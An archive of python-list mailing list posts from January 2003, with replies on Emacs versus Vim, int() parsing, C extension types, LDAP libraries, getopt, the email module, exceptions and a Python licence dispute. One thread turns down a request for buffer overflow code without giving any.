Steve> program in an attempt to out check-box the competition on a
Steve> comparisoon pamphlet.  Now, I ask you, which describes Emacs?
Steve> Clearly the latter.

Emacs is just an editor, albeit a very powerful one. All very powerful
editors need to be fully scriptable, so it also contains an
interpreter for a programming language (and I'm not arguing that ELisp
is the greatest language in history). The rest is simply stuff that
you can take or leave, but which enough people have found useful for
it to be in the standard full distribution.

Steve> I never quite understood what a mail and news reader had to do
Steve> with editing files yet every time the "best mail|news reader
Steve> for unix" comes up gnus is top of the list.

When it comes to such tasks as writing this post, which is basically
an editing task like any other that I prefer to do in my favourite
editor, you're stuck between bringing the news client to Emacs or
bringing Emacs to the news client. Bringing Emacs to the news client
is doable, but only practical in so far as you use Emacs-client, where
you start one 'master' instance and let the rest connect to this as a
server of sorts. That way you get the editing features of Emacs, but
no scriptability outside of the basic editing of posts. Believe it or
not, but bringing the news client to Emacs is not that big a
deal. External utilities are used where possible (SSL, GnuPG,
whatever), and you'll be hard pressed to write a news client in fewer
lines of code in any language than it's done with Gnus, and Gnus is by
far the most featureful one that I've ever seen. If you think that
it's bloat and you don't want it, simply don't load it.

To keep this on topic, I've tried hacking Python in other editors,
including Vim, but it's just not the same. Many of the same basic
editing features are there, and even indentation can be made to be
almost as good in Vim as in Emacs. But Python being a language with an
interactive interpreter, isn't it both wonderful, not to mention very
obvious, that I am able to take advantage of the benefits of it being
interactive? I can change a function and re-evaluate it with a single
chord, I needn't run a separate Python interpreter instance in a
terminal, constantly re-evaluating files, I get the text output from
my application directly in an editor buffer (where it's immediately
useful) instead of a terminal window or a file and so on. Everything
just flows; there's no need to break one's state of mind to change to
something completely different.

Steve> Noone has yet to explain to me why I would want to install a
Steve> 20+Mb editor just for a newsreader.

If you don't like the editor, don't.

Steve>  As a result I stick to slrn which calls my preferred editor
Steve> (was joe, then jed, now vim).  Seems the sensible way to do
Steve> things.  The reader calls the editor, not the editor contains
Steve> the reader.

Addressed above.

Steve> Of course people have called Emacs a "work environment".  Fine.
Steve> When people ask for an editor don't reply with a "work
Steve> environment".  Especially one where most of its die-hard fans
Steve> will admit takes quite a bit of customization to even be
Steve> moderately productive.  They asked for an editor, not a
Steve> practical project to learn Lisp.

That's just ridiculous. Most people I know who use Emacs couldn't
write a line of ELisp on their own, and the majority of those probably
fall into the die-hard fan category that you mention. It's certainly
not true that you have to customise it from head to toe in order for
it to be useful, just like it doesn't take a bucketload of
customisation for a vi user to be able to be productive in vi. It only
makes sense to customise an application, any application, when you
know it well enough to know what you want and what you don't want, and
beginners don't.

As for the language issue, which you also complain about in another
post, a language that's practical to write scripts for an editor in
must contain a lot of features to manipulate strings, buffers and
whatnot in order to be useful, and many of these things do not make
sense outside of an editor. Therefore it's not very likely that stuff
written especially for an editor will likely be useful outside of that
editor. Having had a look at some of all the scripts that have been
made for Vim, which is probably the most popular incarnation of vi
(certainly, by the sound of it, in this NG), I doubt that any of that
will see use outside of the editor itself. What's more interesting, it
looks like the vi camp is starting to chase Emacs, because the things
that are being implemented for Vim is exactly what we've been doing
all along for Emacs. Ironic, isn't it?

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

iEYEARECAAYFAj4V1RsACgkQYu1fMmOQldV5WwCg2V0P+GP7C/eKFXTaiWI6uaqP
DHAAoM+NZHxV7RoKhf5TnXg2Xt6tg6r9
=rCSQ
-----END PGP SIGNATURE-----



From a.schmolck at gmx.net  Mon Jan 20 11:05:17 2003
From: a.schmolck at gmx.net (Alexander Schmolck)
Date: 20 Jan 2003 16:05:17 +0000
Subject: doc in emacs
References: <87hec4x9oc.fsf@flibuste.net>
Message-ID: <yfsof6b24ea.fsf@black132.ex.ac.uk>

William <wilk-spamout at flibuste.net> writes:

> hi,
> 
> Is there an easy way to browse the python manual inside emacs ?

Thttp://www.python.org/ftp/python/doc/2.2/info-2.2.tgz

for more see this msg-id: <yfsy9912ztq.fsf at black132.ex.ac.uk>

alex



From adalke at mindspring.com  Wed Jan 29 19:44:57 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 29 Jan 2003 17:44:57 -0700
Subject: int('0.0') throws an exception
In-Reply-To: <37bc2c.0301291602.7f6c6c4f@posting.google.com>
References: <37bc2c.0301291602.7f6c6c4f@posting.google.com>
Message-ID: <b19sid$2uf$1@slb2.atl.mindspring.net>

Hi Ragu,

> Why is it that
> int('0') and int(0.0) are OK but int('0.0') throws an Exception?

Because it doesn't?

int(string) already supports
   - leading spaces
   - signs
   - optional bases, like int("1Z", 36) == 71
   - using a base of 0 will look for octal and hex numbers

int(float) works for any float, to turn it into an int.


Should int(string) work when the string is a float representation?
That is, would you also allow the following?

   int("9.85638E+3") == 9856

I would hope not, since anything which goes through a float but
isn't a float gives me the heebie-jeebies.


You could write such a thing yourself, as in

def my_int(s):
   try:
     return int(s)
   except ValueError:
     return int(float(s))

But why don't you just do int(float(s)) ?

					Andrew
					dalke at dalkescientific.com




From kseehof at neuralintegrator.com  Fri Jan 31 15:13:57 2003
From: kseehof at neuralintegrator.com (Ken Seehof)
Date: Fri, 31 Jan 2003 12:13:57 -0800
Subject: Extension programming question (2.2)
In-Reply-To: <7h3lm11wc9w.fsf@pc150.maths.bris.ac.uk>
References: <mailman.1043966096.30227.python-list@python.org>
Message-ID: <5.2.0.9.0.20030131114808.00ba3a98@pop.hurrah.com>

At 07:49 AM 1/31/2003 Friday, you wrote:
>Ken Seehof <kseehof at neuralintegrator.com> writes:
>
> > Presumably related to this, is another problem.  In the new()
> > function for c_ni_object, the 'type' argument is set to c_ni_object
> > when 'x' is instantiated as x = ni_object()
>
>You sure?  It's not in my tests.

Well that's what it was doing yesterday, I swear it! :-)  Today, type is
ni_object.  Hmm, must have something to do with the day of the week.

> > Here's my code (stripped down and tested) which exhibits the
> > behavior described above:
> >
> >
> > #include "Python.h"
> >
> > typedef struct {
> >       PyObject_HEAD
> > } c_ni_object__object;
> >
> > staticforward PyTypeObject c_ni_object__type;     /* shared 
> type-descriptor */
> >
> > static PyObject *
> > c_ni_object__new(PyTypeObject *type, PyObject *args, PyObject *kwds)
> > {
> >      c_ni_object__object *self = PyObject_NEW(c_ni_object__object,
> >      &c_ni_object__type);
>
>I just changed this to PyObject_NEW(c_ni_object__object, type) and it
>"worked" (as in, I could create an instance, but got a core dump some
>time later).  I think you need to set tp_alloc to PyType_GenericAlloc
>and call that instead:
>
>      c_ni_object__object *self =
>             (c_ni_object__object*)type->tp_alloc(type, 0);

Well, that explains it.  Silly mistake.  BTW, I implemented tp_new instead
of using PyType_GenericAlloc because I wanted some initialization (deleted
in  my sample code for simplicity).  Actually as it turns out I can work with
tp_init instead.

>The file Modules/_randommodule.c in Python CVS seems to be quite a
>nice example of a minimal-ish C base class.
>
>HTH,
>M.
>
>--
>   The gripping hand is really that there are morons everywhere, it's
>   just that the Americon morons are funnier than average.
>                               -- Pim van Riezen, alt.sysadmin.recovery
>--

Thanks Michael,
- Ken







From andrew-pythonlist at puzzling.org  Wed Jan  8 00:50:01 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Wed, 8 Jan 2003 16:50:01 +1100
Subject: LDAP -- is python-ldap still "it"?
In-Reply-To: <avfdnh$3vq$1@baldur.whoi.edu>
References: <avfdnh$3vq$1@baldur.whoi.edu>
Message-ID: <20030108055001.GC9873@frobozz.local>

On Tue, Jan 07, 2003 at 08:36:01PM +0000, Karl A. Krueger wrote:
> I've used the python-ldap package in the past, and I'm wondering if this
> is still the way to go for LDAP manipulation from Python -- if there are
> other LDAP client libraries for Python I haven't found, for one.  (I'm a

There's at least one other: ldaptor, which is built on the Twisted
framework.

I'm not 100% sure what the current URL for it is; these both look promising:
  - http://ldaptor.bkbits.net/  -- I think this is current
  - http://twistedmatrix.com/users/tv/ldaptor/  -- this appears to be out of
    date.

Also, version 0.0.12 seems to be in Debian.  It's probably worth mailing the
author, tv at debian.org, if you're interested.

-Andrew.





From Kyler at news.Lairds.org  Sat Jan 11 11:26:05 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Sat, 11 Jan 2003 16:26:05 GMT
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org> <avni6r$im1$1@slb2.atl.mindspring.net> <dpe4f-52b.ln1@news.lairds.org> <avoa2h$jt1$1@slb9.atl.mindspring.net>
Message-ID: <16r5f-8k3.ln1@news.lairds.org>

Andrew Dalke <adalke at mindspring.com> writes:

>> It's not documented where a user is likely to look for the
>> RE syntax.  The RE syntax page gives what appears to be a
>> very straightforward explanation of groups.  I don't know
>> why a beginning Python user would think to look elsewhere
>> for some strange behavior.

>And there's nothing there about how to use the compile function
>nor the 'groups()' method nor ... It's syntax only.

Yes, but the syntax clearly states that the matched text
will be accessible.  That is not true.  There is no way
to get it with any function.

--kyler



From LogiplexSoftware at earthlink.net  Fri Jan 17 13:08:11 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 17 Jan 2003 10:08:11 -0800
Subject: buffer overflow
In-Reply-To: <aame2vku3p26s53g21gb3jhuas6o6s8717@4ax.com>
References: <splb2vkt2lqspqjea5566dldil2t5s3v7m@4ax.com>
	 <XCAV9.5784$YI5.499@news2.central.cox.net>
	 <aame2vku3p26s53g21gb3jhuas6o6s8717@4ax.com>
Message-ID: <1042826891.32107.43.camel@software1.logiplex.internal>

On Thu, 2003-01-16 at 17:19, donoli wrote:
> On Thu, 16 Jan 2003 15:56:39 GMT, "Steve Holden"
> <sholden at holdenweb.com> wrote:
> 
> >"donoli" <eat at joes.com> wrote in message
> >news:splb2vkt2lqspqjea5566dldil2t5s3v7m at 4ax.com...
> >> I have two machines, FreeBSD 4,2  and  W2K pro.  I'd like to test the
> >> security on both of them against a buffer overflow.  If someone has
> >> the code in python for a buffer overflow, please post it.
> >> donoli.
> >
> >I've seen better social engineering in kindergarten classrooms.
> >
> >regards
> ########################
> If you don't want to answer the question, it's ok but don't tell me
> what you see in your crystal ball that you bought on ebay.
> donoli.
> ########################

There is no way to test an entire OS for buffer overflow issues [other
than perhaps in the libraries or system calls - but you still have to
test each individual routine].  If there were, buffer overflows would
have disappeared long ago.  So the conclusion that must be drawn is
either a) you are trying to get someone to reveal *known* exploits
[hence the "social engineering" comment] or b) you don't really know
what it means [the "too much credit" comment].

If you want to know about known buffer overflow exploits in various
applications and OS's, search Google and read some of the voluminous
documentation you will find there.


BTW, Steve didn't buy that crystal ball on ebay, those ones are fake.


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From max at alcyone.com  Sun Jan  5 02:11:32 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 04 Jan 2003 23:11:32 -0800
Subject: Blocking ctrl-c to os.popen() or os.system()
References: <d71cc7f6.0301041400.25c106c4@posting.google.com>
		<3E17C3E3.FC2C643C@alcyone.com> <20030105010233.15d82a5f.pythonhda@yahoo.com.replacepythonwithlinux>
Message-ID: <3E17DAA4.42F9F5F2@alcyone.com>

pythonhda wrote:

> How about using a thread?

That wouldn't work, since -- as the original poster pointed out several
times now -- it's a separate program that he's running that's receiving
the SIGINT, not the Python program driving it.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ We'll have to make our own luck from now on.
\__/ Louis Wu
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From max at alcyone.com  Thu Jan  9 06:51:09 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 09 Jan 2003 03:51:09 -0800
Subject: Command line arguments
References: <atcjva.cbr.ln@tu-144.dyndns.org>
Message-ID: <3E1D622D.54FEA4DB@alcyone.com>

Dusausoy Bruno wrote:

> I use the getopt module for the options but i don't know how to catch
> the FILES arguments. Can someone help me ?

The main getopt returns a 2-tuple of the options, and then the
remaining, non-option arguments.  You want the second half of the return
value.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ In the fight between you and the world, back the world.
\__/ Frank Zappa
    Alcyone Systems / http://www.alcyone.com/
 Alcyone Systems, San Jose, California.



From ajs at ix.netcom.com  Mon Jan 20 18:57:38 2003
From: ajs at ix.netcom.com (Arthur)
Date: Mon, 20 Jan 2003 18:57:38 -0500
Subject: license
Message-ID: <005e01c2c0df$b6ef47d0$63a09840@Arts>

>I'd agree with you that such a modification is annoying and rude.  I
>think Terry is taking the side of "you're using someone's code for free,
>and then complaining about it" which also has some validity.

As is the code I provide.

But a little twist here is that the distributor is not the developer. He
sought of  "controls"  it.  He did not write it. In fairness, he does
support a user group - and is responsive to that user group.  It his not his
code, though.

I actually wrote my code.  Not only is free and opensource. But it was done
on my own time, time stolen from my family and my *real* work.

I'm the good guy, here.  Of course.

People seem to be watching a different movie than me, much of the time.

> I'm not sure what the package in question is, but I have to ask: does it
make
>sense for it to do this?  If the package were, for instance, a modified
>version of Python itself, or if it modified the behavior of Python in a
>fundamental way, then perhaps replacing the top-level documentation
>might make sense.

Ipso facto, it cannot make sense to overwrite a file that is part of the
standard Python distribution, unless one works real heard first to tell me
that is what is going to happen when I push the install button.  The "ipso
facto" part is to scare you into thinking I might be a lawyer.

Anything is sensible, with notice attached, in a separate distribution - as
the damn license implies.

I am thoroughly confused.  The Python license says that if you are modifying
it, you notify users of the modifications.  In essensce, that is the only
restriction.  Under your hypopthetical, in my mind, there is either
notification, or there is a license breach.  It seems to disturb people that
I am suggesting that it is possible to breach the Python license, and
possible to believe that the license is quite serious about what it says.

The case I bring up, if it is a breach at all is a relatively minor one- and
I am not claiming to be the lawyer to say it is, and a lawyer - or someone
more informed than I, can tell me it clearly isn't. But its ugly. Nobody can
convince me otherwise.  And I was simply wondering out loud whether it
might, in addition, be a technical breach.

More importantly, God knows I didn't write Python and I am certainly not the
one to decide whether a breach that in fact does exist will be pursued in
any way.

If anybody wants to call me the Devil, that - I suggest - would be the
proper basis. Who the hell am my to worry about breaches of the Python
license.

But I was being more abstract and theoretical than I think some people
appreciated.

Breaching licenses, in letter or spirit, *even in making free softwareI* is
not a good thing.  I don't think that's a very controversial statement.


> Not that anyone wants to be picayune.  The ugliness is the real point. But
> it is,isn't or might be a particular kind of ugliness.

>Personally, I think you should fork the code.  Anger can be a great
motivator.

I should and will.

But its another damn pain in the ass.

And I don't like doing other people's work.

This guy got a damn grant, and I am asking nothing from him other than to be
sensible and sensitive to other peoples needs surrounding the code he didn't
write.  I am not asking to comply to *my* standards.  I am asking him to
comply to *community* standards.

Another oh well....

Art






From sholden at holdenweb.com  Tue Jan  7 19:29:53 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Tue, 7 Jan 2003 19:29:53 -0500
Subject: list comprehensions value assignment syntax error
References: <mailman.1041983459.23262.python-list@python.org>
Message-ID: <YjKS9.151$467.132@fe08>

"Gerrit Holl" <gerrit at nl.linux.org> wrote in message
news:mailman.1041983459.23262.python-list at python.org...
> Hi,
>
> I am trying to assign to a list item using list comprehensions, but this
> raises a SyntaxError:
>
> >>> [l[i] = chr(i) for i in range(256)]
>    File "<stdin>", line 1
>        [l[i] = chr(i) for i in range(256)]
>              ^
> SyntaxError: invalid syntax
>
> Why?
>
> Do I really have to abandon list comprehensions or do this?:
>
> >>> [l.__setitem__(i, chr(i)) for i in range(256)]
>

Well, I suppose my first question was "why?".

Do you want "l" to become a list of 256 bytes? In that case, what you want
is

    l = [chr(i) for i in range(265)]

and you're done. Assignment is a *statement* in Python, not an expression.
You've been around this group long enough to know where to consult the FAQ,
which I suggest you do if you *really* want to change list elements inside a
comprehension (which is an *expression*).

regards
-----------------------------------------------------------------------
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/
-----------------------------------------------------------------------






From axel at aroxis.de  Fri Jan 24 06:16:48 2003
From: axel at aroxis.de (Axel Schlueter)
Date: Fri, 24 Jan 2003 12:16:48 +0100
Subject: Error handling when embedding python...
Message-ID: <b0r7b0$snt6o$1@ID-88790.news.dfncis.de>

Hi,

while trying to embed python as a scripting possibility into my
application, I stumbled across error handling. If python finds
a syntax error, the interpreter prints its error messages to stderr,
but I would like to open my own error dialog box containing the
message. Is there anything like an error callback hook or something ?

Thanks in advance,
Axel	
-- 
,gis siht no noitpyrcne eht gnikaerb yB
.liaj ot oG .ACMD eht detaloiv evah uoy




From donnalcwalter at yahoo.com  Tue Jan 21 22:56:26 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Tue, 21 Jan 2003 21:56:26 -0600
Subject: anybody know where I can get a copy of a NeXT style guide?
References: <mailman.1043181578.22385.python-list@python.org> <slrnb2rmkn.eg5.karsten@datasink.webmonster.de>
Message-ID: <b0l4mf$3k0$1@main.gmane.org>

Karsten W. Rohrbach <karsten at rohrbach.de> wrote:
> Laura Creighton <lac at strakt.com> wrote:
> > Does such a beast exist?  Google isn't being helpful.
>
> There is an OpenStep UI Guide available at sun.com:
>     http://docs-pdf.sun.com/802-2109/802-2109.pdf
>
> I don't know where/if there are UI differences to NextSTEP, but I saw the
> interface quite a while ago and, at least, both look quite similar.

I have a copy of "Nextstep User Interface Guidelines: Release 3" and it is
essentially identical to the OpenStep UI Guide that Karsten references here.









From paul at mackinney.net  Thu Jan  9 04:26:42 2003
From: paul at mackinney.net (Paul Mackinney)
Date: Thu, 9 Jan 2003 01:26:42 -0800
Subject: Two email module questions
Message-ID: <20030109092642.GA1039@dog.mackinney.net>

1. There are two obvious ways to use email.message_from_file. Am I
correct in assuming that method a. is prefered, because method b. leaves
an open file with no convenient way to close it?

   a. fn  = file('foo','r')
      msg = email.message_from_file(fn)
   		fn.close()
    
   b. msg = email.message_from_file(file('foo','r'))


2. After importing a message, I get a bogus extra line at the top when I
   print it:

---begin foo---
From: Paul Mackinney <paul at mackinney.net>
To: debian <debian-user at lists.debian.org>
Cc: 
Bcc: 
Subject: The fascinating story of my life

I eat a lot of spam.
---end foo--

   >>> msg = message_from_file('foo')
   >>> print msg
   From nobody Thu Jan  9 01:16:54 2003
   From: Paul Mackinney <paul at mackinney.net>
   To: debian <debian-user at lists.debian.org>
   Cc: 
   Bcc: 
   Subject: The fascinating story of my life
   
   I eat a lot of spam.
   
   >>> 

What's going on here? The 'From nobody...' line doesn't show in
msg.keys(), I couldn't find this behavior in the docs.

TIA, Paul
-- 
Paul Mackinney
paul at mackinney.net




From tjreedy at udel.edu  Wed Jan 29 19:48:42 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 29 Jan 2003 19:48:42 -0500
Subject: is it a bug ??
References: <3E383FA0.3000000@wanadoo.fr>
Message-ID: <DQmdnXBBnZwK6qWjXTWcqw@comcast.com>

> def g(a=[]):
> print a
> if len(a)<5:
> a = a + [1]

This creates a new list which is passed on to g, which creates another
new list....

> g(a)
> print a

This prints a *different* list than the first print statement.
To better see what is goint on print id(a), a in both places
Note: since you pass an explicit argument at every call after the
first, the difference you see is not about default args, and using
that for the first call only confuses the issue.

>>> def g(a):
...   print id(a),a
...   if len(a)<5:
...     a = a + [1]
...     g(a)
...   print id(a),a
...
>>> g([])
7938416 []
7962144 [1]
7962096 [1, 1]
7962048 [1, 1, 1]
7962000 [1, 1, 1, 1]
7961952 [1, 1, 1, 1, 1]
7961952 [1, 1, 1, 1, 1]
7961952 [1, 1, 1, 1, 1]
7962000 [1, 1, 1, 1]
7962048 [1, 1, 1]
7962096 [1, 1]
7962144 [1]

Note that there is a different list for each length.

> def f(a=[]):
> print a
> if len(a)<5:
> a.append(1)

This mutates the list in place (and passes it on)

> f(a)
> print a

So all prints print the same list, which never shrinks.  Again, print
the id also.

Terry J. Reedy






From peter at engcorp.com  Tue Jan  7 09:14:27 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Jan 2003 09:14:27 -0500
Subject: unit tests in python
References: <59E1C4533ABCCB428BDD01B09D8531348A8372@WGEXC.bwcad.ad.bwc.state.oh.us>
Message-ID: <3E1AE0C3.BF485045@engcorp.com>

Reply sent to mailing list as well... please ask such questions on the
mailing list/in the newsgroup so others can benefit from the
reply, thus maximizing the value of the time spent on it...

John.N.1 at bwc.state.oh.us wrote:
> 
> You mentioned the value of unit-testing in python. Are there any good
> tutorials out there on unit-testing with python?
> How does one get started?

What best worked for me was the chapter on Regression Testing in 
Mark Pilgrim's wonderful online book at http://www.diveintopython.org/ .

Cheers!
-Peter




From maxm at mxm.dk  Mon Jan  6 06:54:49 2003
From: maxm at mxm.dk (Max M)
Date: Mon, 06 Jan 2003 12:54:49 +0100
Subject: php vs python
In-Reply-To: <3e15ed2c$0$214$edfadb0f@dread12.news.tele.dk>
References: <3e15ed2c$0$214$edfadb0f@dread12.news.tele.dk>
Message-ID: <3E196E89.3050508@mxm.dk>

Joe wrote:

> What can Phyton do for me that php cant't?


The languages you use controls what you are able to say. In Python you 
have a much better language than PHP, so you will find it easier to 
express yourself.

regards Max M


-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From andy at eastonwest.co.uk  Thu Jan  9 18:31:52 2003
From: andy at eastonwest.co.uk (andy)
Date: Thu, 9 Jan 2003 23:31:52 +0000
Subject: File Read/Write test program
In-Reply-To: <ho1n1v49n9s45lemq0uks23kp0v33tapc9@4ax.com>
References: <mailman.1041984409.6241.python-list@python.org> <ho1n1v49n9s45lemq0uks23kp0v33tapc9@4ax.com>
Message-ID: <200301092331.09742.andy@eastonwest.co.uk>

On Wednesday 08 Jan 2003 2:11 am, Manuel M. Garcia wrote:
> meg = "*" * (1048576 * 20)
>
> gives you a string of length 1048576 * 20 in one step
>
> Manuel
>
> On Tue, 7 Jan 2003 20:11:33 +0000, andy <andy at eastonwest.co.uk> wrote:
> (edit)
>
> >def generate_chunk(megabytes):
> >    """ returns a string containing megabytes*1048576 asterisks """
> >    meg="*"
> >    for n in range(20):
> >        meg=meg+meg
> >    chunk=""
> >    for n in range(megabytes):
> >        chunk=chunk+meg
> >    return chunk


thanx mate.  I just knew there must be a better way to do it, but couldn't 
figure out where to start looking.

Looks neater, and more intuitive.

As I expected, without all that heavy-duty memory copying, it's SIGNIFICANTLY 
faster too.

:-)

The first thing I noticed about Python is that it was really easy to learn.  
The second thing I noticed is that there's just *SO* *MUCH* to learn!

regards,
-andyj






From Frank at frank.org  Tue Jan 28 01:30:48 2003
From: Frank at frank.org (Frank)
Date: Tue, 28 Jan 2003 01:30:48 -0500
Subject: How to change colors of console window?
References: <3e1ab443_1@corp.newsgroups.com> <avhfvp$filnq$1@ID-130333.news.dfncis.de>
Message-ID: <d38c3v884lvcump665jfiasr08sembdd28@4ax.com>

Here's how I've done it since the early days of DOS:

Load ansi.sys in the config.sys (create the file if needed)
     devicehigh=c:\windows\command\ansi.sys

and put this in your autoexec.bat
     PROMPT $e[0;1;33;44m$p$g

This will give you yellow text on deep blue background.
The $p$g produces the "current directory>" part; look up ansi.sys to
get the numbers for other colors besides the 33 and 44
Frank



From polux2001 at wanadoo.fr  Sun Jan 12 09:22:58 2003
From: polux2001 at wanadoo.fr (polux)
Date: Sun, 12 Jan 2003 15:22:58 +0100
Subject: pure virtual functions in python
Message-ID: <avrto1$gdk$1@news-reader10.wanadoo.fr>

how to emulate them ?
I mean, how to force a user to redifine some functions in a derivated 
class ?




From jlh at cox.net  Mon Jan 13 20:00:18 2003
From: jlh at cox.net (Jeff Hinrichs)
Date: Tue, 14 Jan 2003 01:00:18 GMT
Subject: Seeking Minimal Python Project Name
References: <mailman.1042456912.31274.python-list@python.org> <dnbvva.st3.ln@beastie.ix.netcom.com> <just-ED20AC.23582713012003@news1.news.xs4all.nl>
Message-ID: <CiJU9.1753$Pw.778@news1.central.cox.net>

> I would actually like "PPython" for this project (forgot who suggested
> that), as in CPython and JPython.
+1
Jeff





From gbrunet at nospamsempersoft.com  Wed Jan  8 16:48:07 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Wed, 8 Jan 2003 15:48:07 -0600
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com> <v1jd1o8pjuho28@corp.supernews.com> <3E1A3F8B.8D4BAD96@engcorp.com> <v1nlne1bvl7r30@corp.supernews.com> <3E1C34D0.ECFBC7BF@engcorp.com> <v1otjvkdoinp77@corp.supernews.com> <3E1C9556.30D4C315@engcorp.com>
Message-ID: <v1p75cefkpqj0b@corp.supernews.com>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E1C9556.30D4C315 at engcorp.com...
> Since I'm "stuck" :-) with Python without the features you like,
> I can't try your approach and compare my productivity.  Maybe,
> therefore, once you've done a year of XP and Test-Driven Development,
> with Python, you would let me know whether you still miss the
> code-completion features... ;-)

Well - since that's what I'm considering at this time, perhaps I'll be
able to do that a year from now. <g>  Too bad I'll suffer a loss of
productivity along the way by not having the intellisense feature to
help me learn an entirely new framework. <vbg>

--
Greg




From claird at lairds.com  Wed Jan 29 09:33:52 2003
From: claird at lairds.com (Cameron Laird)
Date: Wed, 29 Jan 2003 14:33:52 -0000
Subject: Any AIX experts out there?
References: <mailman.1043819092.30996.python-list@python.org>
Message-ID: <v3fpig1eo2rn6c@corp.supernews.com>

In article <mailman.1043819092.30996.python-list at python.org>,
Laura Creighton  <lac at strakt.com> wrote:
>The Snake Farm is having trouble building Python on AIX.
>See: http://lists.lysator.liu.se/pipermail/snake-farm/2003-January/000654.html
>
>Does anybody recognise these symptoms?
>
>Laura Creighton
>

Dynamic loading, yeah.  I used to be good with AIX.
The solution probably is heavily dependent on version.
It's unlikely I can do this as volunteer work.  Is
this for you, or are you just helping out?
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From james.kew at btinternet.com  Wed Jan 15 07:40:03 2003
From: james.kew at btinternet.com (James Kew)
Date: Wed, 15 Jan 2003 12:40:03 -0000
Subject: Python23: cannot inherit from bool?
References: <bb3eec0f.0301141812.18e916bf@posting.google.com>
Message-ID: <b03kr8$lbili$1@ID-71831.news.dfncis.de>

FrankS wrote:
> It seems that 2.3 doesn't allow you to inherit from bool:

I'm not qualified to comment on why it's not allowed, but out of interest:
why might you want to inherit from bool?

--
James Kew
james.kew at btinternet.com





From max at alcyone.com  Fri Jan 10 00:28:55 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 09 Jan 2003 21:28:55 -0800
Subject: try except bug
References: <mailman.1042070716.17019.python-list@python.org> <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de> <1042155370.1327.309.camel@emilio> <mailman.1042173142.24243.python-list@python.org>
Message-ID: <3E1E5A17.908BFF41@alcyone.com>

"??????" wrote:

> I think there is a bug in try-except clause.
> If you use 'raise' with a string type exception and class instance,
> that's
> OK. But, when you 'raise' with a class type exception and class
> instance, it
> works in a strange way. Look at the following code.

That's because you're not quite doing it right.  Note that raising
anything other than classes that derive from Exception is deprecated.

> class MessageClass:
>     def __init__(self):
>         self.message = 'message'
>         self.duration = 10

Make sure MessageClass derives from Exception:

	class MessageClass(Exception): ...

> def f():
>     raise Exception, MessageClass()

The syntax here you want is

	raise MessageClass()

What you're doing is legal, too, but is the equivalent of

	raise Exception(MessageClass())

so when you catch it later, you're catching an exception of type
Exception, not your MessageClass that you probably meant.  You can
access the MessageClass instance from the a.args tuple, but from the
look of your exception handling code that isn't what you meant.

> try:
>     f()
> except Exception, a:
>     print a, type(a)
>     print a.duration   # This one doesn't work.

And this is the syntax you want here, not except 'Exception'.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The basis of optimism is sheer terror.
\__/ Oscar Wilde
    CSBuddy / http://www.alcyone.com/pyos/csbuddy/
 A Counter-Strike server log file monitor in Python.



From tjreedy at udel.edu  Sat Jan 18 21:16:05 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 18 Jan 2003 21:16:05 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0bvlg$rs9$1@news.eusc.inter.net> <sh2dnT66cMuoQrSjXTWcrg@comcast.com> <b0cptv$857$1@news.eusc.inter.net>
Message-ID: <Ch-cnefV7v6Nl7ejXTWcpw@comcast.com>

"Daniel Dittmar" <daniel at dittmar.net> wrote in message
news:b0cptv$857$1 at news.eusc.inter.net...
> Terry Reedy wrote:
> > "Daniel Dittmar" <daniel at dittmar.net> wrote in message
> >
> >>Now that there are class methods, there's no longer the need to
force
> >>this into a instance method call. str.join (somelist [,
joinstring])
> >>does the job just fine.
> >
> > Nope.
> > str.join is *not* a class method.  (If it were, joiner.join(seq)
would
